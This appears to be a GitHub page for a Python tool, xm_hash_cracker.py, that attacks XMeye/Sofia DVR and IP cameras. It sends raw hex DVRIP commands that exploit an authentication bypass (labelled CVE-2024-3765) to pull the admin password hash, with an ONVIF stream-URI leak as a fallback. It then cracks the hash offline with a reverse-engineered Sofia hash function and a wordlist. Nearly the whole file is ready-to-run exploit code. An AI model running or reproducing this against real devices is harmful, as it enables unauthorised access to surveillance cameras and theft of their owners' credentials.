-
Notifications
You must be signed in to change notification settings - Fork 4
Expand file tree
/
Copy pathxm_hash_cracker.py
More file actions
198 lines (170 loc) · 6.21 KB
/
Copy pathxm_hash_cracker.py
File metadata and controls
198 lines (170 loc) · 6.21 KB
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
#!/usr/bin/env python3
import os
import re
import sys
import json
import socks # PySocks
import socket
import hashlib
from onvif import ONVIFCamera
commands = [
'ff00000000000000000000000000f103250000007b202252657422203a203130302c202253657373696f6e494422203a202230783022207d0aff00000000000000000000000000ac05300000007b20224e616d6522203a20224f5054696d655175657279222c202253657373696f6e494422203a202230783022207d0a', # Initial command
'ff00000000000000000000000000ee032e0000007b20224e616d6522203a20224b656570416c697665222c202253657373696f6e494422203a202230783022207d0a', # KeepAlive
'ff00000000000000000000000000c00500000000', # Users Information
]
def deps():
try:
wordlist = sys.argv[1]
if re.match(r'^(((?!25?[6-9])[12]\d|[1-9])?\d\.?\b){4}$', wordlist):
print("[+] First argument - path to wordlist")
print("[+] Usage: python3 cracker.py </path/to/wordlist> <ip> [port]")
sys.exit(1)
ip = sys.argv[2]
if re.match(r'^(((?!25?[6-9])[12]\d|[1-9])?\d\.?\b){4}$', ip) == None:
print("[+] Second argument - IP address")
print("[+] Usage: python3 cracker.py </path/to/wordlist> <ip> [port]")
sys.exit(1)
except IndexError:
print("[+] Usage: python3 cracker.py </path/to/wordlist> <ip> [onvif_port] [sofia_port]")
sys.exit(1)
try:
onvif_port = sys.argv[3]
except IndexError:
onvif_port = 8899
try:
sofia_port = sys.argv[4]
except IndexError:
sofia_port = 34567
print(f"[+] IP: {ip}")
print(f"[+] ONVIF port: {onvif_port}")
print(f"[+] DVRIP/Sofia port: {sofia_port}")
print(f"[+] Wordlist: {os.path.basename(wordlist)}")
return wordlist, ip, onvif_port, sofia_port
def camera_setup(ip, sofia_port):
"""Setup ONVIF connection to camera"""
try:
cam = ONVIFCamera(ip, sofia_port, 'admin', '')
print(f"[+] ONVIF connection established")
except Exception as e:
cam = ''
print(f"[-] Connection to ONVIF failed: {e}")
sys.exit(1)
return cam
def send_data(s, data):
binary_data = bytes.fromhex(data)
s.sendall(binary_data)
def recv_all(s):
s.settimeout(10.0)
data = b''
while True:
try:
part = s.recv(1024)
data += part
if part.endswith(b'\x0a\x00'):
break
except socket.timeout:
print("[-] Socket timeout. Aborting...")
break
return data
def process_commands(socket, commands):
for command in commands:
send_data(socket, command)
response = recv_all(socket)
if command == 'ff00000000000000000000000000c00500000000':
json_response = response[20:-2].decode('utf8')
json_data = json.loads(json_response)
return json_data["Users"][0]["Password"]
return ''
def cve_2024_3765(ip, sofia_port):
"""Get password hash via vulnerable DVRIP/Sofia command code"""
with socket.socket(socket.AF_INET, socket.SOCK_STREAM) as s:
s.settimeout(10)
s.connect((ip, sofia_port))
hash_string = process_commands(s, commands)
print(f"[+] Password hash found: {hash_string}")
return hash_string
def cve_2025_65857(ip, onvif_port):
"""Get password hash via ONVIF calls"""
cam = camera_setup(ip, onvif_port)
try:
media = cam.create_media_service()
print("[+] Media service created successfully")
except Exception as e:
print(f"[-] Failed to create media service: {e}")
sys.exit(1)
profiles = media.GetProfiles()
try:
# Create stream setup request
stream_setup = {
'Stream': 'RTP-Unicast', # RTP-Unicast, RTP-Multicast
'Transport': {
'Protocol': 'RTSP' # RTSP, UDP, HTTP
}
}
# Get Stream URI
stream_uri_response = media.GetStreamUri({
'StreamSetup': stream_setup,
'ProfileToken': profiles[0].token
})
hash_string = stream_uri_response.Uri.split("=")[2][:8]
print(f"[+] Found Sofia hash: {hash_string}")
except Exception as e:
hash_string = ''
print(f"[-] Failed to get Sofia hash: {e}")
return hash_string
def get_password_hash(ip, onvif_port, sofia_port):
try:
print("[+] Trying DVRIP/Sofia authentication bypass...")
hash_string = cve_2024_3765(ip, sofia_port)
except Exception as e:
print(f"[-] Sofia authentication bypass failed: {e}")
print("[+] Trying ONVIF authentication bypass...")
try:
hash_string = cve_2025_65857(ip, onvif_port)
except Exception as e:
print(f"[-] ONVIF authentication bypass failed. Aborting... {e}")
sys.exit(1)
return hash_string
def sofia_hash(msg):
"""Reverse engineered implementation of Sofia hash algorithm"""
# Convert text to bytes (MD5 works on bytes)
if isinstance(msg, str):
msg = msg.encode("utf-8")
h = ""
m = hashlib.md5()
m.update(msg)
msg_md5 = m.digest() # bytes, length 16
for i in range(8):
n = (msg_md5[2 * i] + msg_md5[2 * i + 1]) % 0x3E # 0x3E = 62 (hex -> dec)
if n > 9:
if n > 35:
n += 61
else:
n += 55
else:
n += 0x30 #0x30 = 48 (hex -> dec)
h += chr(n)
return h
def crack(wordlist, hash_string):
"""Crack password"""
c = 0
found = 0
encoding = 'latin-1' if re.match('rockyou', os.path.basename(wordlist)) else 'utf-8'
with open(wordlist, "rb") as f:
total_lines = sum(1 for _ in f)
with open(wordlist, 'r', encoding=encoding) as file:
for line in file:
c += 1
print(f'[+] {c}/{total_lines} [{c / total_lines * 100:.2f}%]', end='\r', flush=True)
line = line.strip()
if sofia_hash(line) == hash_string:
print(f"[+] Hash: {sofia_hash(line)}, Password: {line}")
found = 1
break
if found == 0: print("[+] Password not found")
def main():
wordlist, ip, onvif_port, sofia_port = deps()
hash_string = get_password_hash(ip, onvif_port, sofia_port)
crack(wordlist, hash_string)
if __name__ == "__main__":
main()